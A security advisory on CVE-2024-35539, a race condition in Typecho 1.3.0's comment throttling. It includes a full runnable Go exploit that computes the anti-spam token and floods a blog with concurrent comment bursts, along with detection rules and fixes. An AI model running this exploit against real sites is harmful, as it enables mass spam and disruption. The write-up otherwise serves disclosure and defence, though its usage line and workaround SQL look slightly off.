CVE-2024-35539

Executive Summary

CVE-2024-35539 is a race condition vulnerability in the comment posting function of Typecho v1.3.0. The flaw allows an attacker to bypass the built-in spam protection mechanism by sending a burst of concurrent HTTP POST requests before the server-side rate limiter can enforce the minimum interval between comments. This enables the mass posting of spam comments, potentially overwhelming legitimate discussions and degrading the user experience. The vulnerability is trivial to exploit using the provided Go-based proof-of-concept code, which leverages a JavaScript token calculation bypass and high-concurrency HTTP requests.

Supply Chain & Package Security

Typecho is a self-hosted PHP blogging platform distributed via GitHub and Docker Hub. The vulnerability exists in the core application code, not in a third-party package. No supply chain compromise is involved, but the lack of an official patch increases the risk for all deployments.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned by NVD) Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N Threat Level: Medium (Exploitation is trivial, impact is limited to spam/comment flooding)

Deep Dive & Mechanics

The vulnerability resides in the comment submission handler of Typecho v1.3.0. The application implements a spam protection mechanism that checks the timestamp of the last comment from a given IP address or user. If the time elapsed is less than a configurable interval (default 60 seconds), the comment is rejected.

However, the check is performed after the comment data is received but before the comment is stored. The race condition occurs because the check and the storage are not atomic. An attacker can send multiple concurrent POST requests to the /comment endpoint. Due to PHP's single-threaded nature per request, each request independently reads the last comment timestamp. If all requests arrive before any of them updates the timestamp, they all pass the check and are stored.

The exploit code automates this by:

1. Fetching the target page to extract a JavaScript anti-spam token (a simple obfuscated calculation).
2. Evaluating the JavaScript to obtain the token.
3. Sending a burst of up to 1000 concurrent POST requests with the token, each with a unique author and email.
4. Repeating the burst every 60 seconds to continuously spam.

The race window is extremely small (microseconds), but the high concurrency ensures many requests slip through.

Vulnerable vs. Patched Code

Vulnerable Code (Typecho v1.3.0):

// In var/Widget/Feedback.php (simplified)
public function action() {
    $lastCommentTime = $this->getLastCommentTime();
    if (time() - $lastCommentTime < $this->options->commentsPostInterval) {
        $this->response->throwError('Comment too fast');
    }
    // ... store comment ...
    $this->updateLastCommentTime();
}

Patched Code (Hypothetical Fix):

// Use a database-level lock or atomic operation
public function action() {
    $this->db->beginTransaction();
    try {
        $lastCommentTime = $this->getLastCommentTime();
        if (time() - $lastCommentTime < $this->options->commentsPostInterval) {
            $this->response->throwError('Comment too fast');
        }
        // ... store comment ...
        $this->updateLastCommentTime();
        $this->db->commit();
    } catch (Exception $e) {
        $this->db->rollback();
        throw $e;
    }
}

The patched version uses a database transaction to ensure the check and update are atomic, preventing the race condition.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Go 1.16+ installed
• Target URL of a Typecho v1.3.0 blog (e.g., http://target.com/index.php/archives/1/)
• Network access to the target

Steps:

1. Clone the exploit code from the provided Go source.
2. Install dependencies: go get github.com/robertkrimen/otto
3. Build the exploit: go build -o exploit CVE-2024-35539.go
4. Run: ./exploit http://target.com/index.php/archives/1/

The exploit will continuously spam comments every 60 seconds. To stop, press Ctrl+C.

Full Exploit Code:

package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
    "net/url"
    "os"
    "strings"
    "sync"
    "sync/atomic"
    "time"

    "github.com/robertkrimen/otto"
)

var (
    c                    int32 = 0
    commentsPostInterval int64 = 60
    maxThreads           int   = 1000
    wg                   sync.WaitGroup
    userAgent            string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
    client               *http.Client = &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
)

func getJSFunction(u string) string {
    req, err := http.NewRequest("GET", u, nil)
    if err != nil {
        fmt.Println("[X] Error creating initial request:", err)
        return ""
    }

    req.Header.Set("User-Agent", userAgent)
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("[X] Error sending initial request:", err)
        return ""
    }

    buf := new(bytes.Buffer)
    buf.ReadFrom(resp.Body)
    body := buf.String()

    if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
        fmt.Println("[X] Error finding JavaScript function")
        return ""
    }

    jsFunction := strings.Split(body, "input.value = (")[1]
    jsFunction = strings.Split(jsFunction, ")();;")[0]

    return jsFunction
}

func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
    vm := otto.New()

    _, err := vm.Run(jsFunctionBody)
    if err != nil {
        fmt.Println("[X] Error executing JavaScript function:", err)
        return ""
    }

    result, err := vm.Call(jsFunctionName, nil)
    if err != nil {
        fmt.Println("[X] Error calling JavaScript function:", err)
        return ""
    }

    returnValue, err := result.ToString()
    if err != nil {
        fmt.Println("[X] Error converting JavaScript result to string:", err)
        return ""
    }

    return returnValue
}

func spamComments(u string, formToken string) {
    timestamp := time.Now().Unix()
    for {
        i := 0

        for time.Now().Unix() < timestamp-1 {
            time.Sleep(250 * time.Millisecond)
            fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds)    ", timestamp-time.Now().Unix()-1)
        }

        fmt.Printf("\n")
        for time.Now().Unix() < timestamp+2 {
            if i < maxThreads {
                wg.Add(1)
                go spamRequest(u, formToken, i)
                i++
            }
        }

        wg.Wait()
        fmt.Printf("\n[+] Successfully spammed %d comments\n", c)
        timestamp = time.Now().Unix() + commentsPostInterval
    }
}

func spamRequest(u string, formToken string, i int) {
    fmt.Printf("\r[*] Spamming comment request %d    ", i)

    defer wg.Done()

    formData := url.Values{}
    formData.Set("_", formToken)
    formData.Set("author", fmt.Sprintf("user_%d", i))
    formData.Set("mail", fmt.Sprintf("user%d@test.example", i))
    formData.Set("text", fmt.Sprintf("Hello from user_%d", i))

    req, err := http.NewRequest("POST", u+"comment", nil)
    if err != nil {
        return
    }

    req.Header.Set("Referer", u)
    req.Header.Set("User-Agent", userAgent)
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
    req.Body = io.NopCloser(strings.NewReader(formData.Encode()))

    resp, err := client.Do(req)
    if err != nil {
        return
    }

    if resp.StatusCode == 302 {
        atomic.AddInt32(&c, 1)
    }

    defer resp.Body.Close()
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
        return
    }

    fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r")

    targetUrl := os.Args[1]
    fmt.Println("[+] Spam target:", targetUrl)

    fmt.Println("[*] Getting JavaScript function to calculate form token...")
    jsFunction := getJSFunction(targetUrl)
    if jsFunction == "" {
        fmt.Println("[-] Could not get JavaScript function, exiting...")
        return
    }

    fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
    formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
    if formToken == "" {
        fmt.Println("[-] Could not get form token, exiting...")
        return
    }

    fmt.Printf("[+] Form token: %s", formToken)
    spamComments(targetUrl, formToken)
}

Blue Team

Detection:

• Monitor for a high volume of POST requests to /comment from a single IP within a short time window (e.g., >10 requests in 1 second).
• Look for sequential author names like user_0, user_1, etc.
• Check for the presence of the _ form parameter with a value that matches the JavaScript token pattern.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to rate-limit POST requests to /comment per IP (e.g., 1 request per 5 seconds).
• Add a CAPTCHA to the comment form.
• Manually moderate all comments until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• Multiple POST requests to /comment with identical Referer headers.
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
• Form data containing _ parameter with a 6-8 character alphanumeric token.
• Sequential author names: user_0, user_1, etc.
• Email addresses: user0@test.example, user1@test.example, etc.

Host IOCs:

• Unusually high number of comments in the database from the same IP.
• Comments with generic text like "Hello from user_X".

Detection Engineering

YARA Rule

rule CVE_2024_35539_Typecho_Race_Condition {
    meta:
        description = "Detects Typecho race condition exploit traffic"
        author = "Valters IT"
        date = "2024-08-18"
        reference = "CVE-2024-35539"
    strings:
        $s1 = "input.value = (" ascii
        $s2 = ")();;" ascii
        $s3 = "user_" ascii
        $s4 = "@test.example" ascii
        $s5 = "Hello from user_" ascii
    condition:
        all of ($s1, $s2) or (all of ($s3, $s4, $s5))
}

Sigma Rule

title: Typecho Race Condition Comment Spam
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects mass comment posting exploiting CVE-2024-35539
author: Valters IT
date: 2024/08/18
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/comment'
        cs(User-Agent): 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36'
    condition: selection | count() by src_ip > 10 within 1s
falsepositives:
    - Legitimate high-traffic blogs
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-35539 Typecho Race Condition Comment Spam";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/comment"; http_uri;
    content:"user_"; http_client_body;
    content:"@test.example"; http_client_body;
    content:"Hello from user_"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable comments in Typecho admin panel (Settings > Discussion > Allow people to post comments on articles).
2. Implement rate limiting at the web server level (e.g., Nginx limit_req_zone).
3. Add CAPTCHA using a plugin or custom code.
4. Enable comment moderation to require approval for all comments.

Long-term Fix:

• Apply a database-level lock or transaction around the comment rate check and storage.
• Upgrade to a patched version when available (currently none).
• Consider migrating to a maintained fork or alternative platform.

Workaround Code (Add to var/Widget/Feedback.php):

// Use MySQL GET_LOCK() for atomicity
public function action() {
    $lockName = 'comment_lock_' . $this->request->getIp();
    $this->db->query("SELECT GET_LOCK('$lockName', 10)");
    try {
        $lastCommentTime = $this->getLastCommentTime();
        if (time() - $lastCommentTime < $this->options->commentsPostInterval) {
            $this->response->throwError('Comment too fast');
        }
        // ... store comment ...
        $this->updateLastCommentTime();
    } finally {
        $this->db->query("SELECT RELEASE_LOCK('$lockName')");
    }
}

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 4D278DF2CC5C300E4FA05936] */}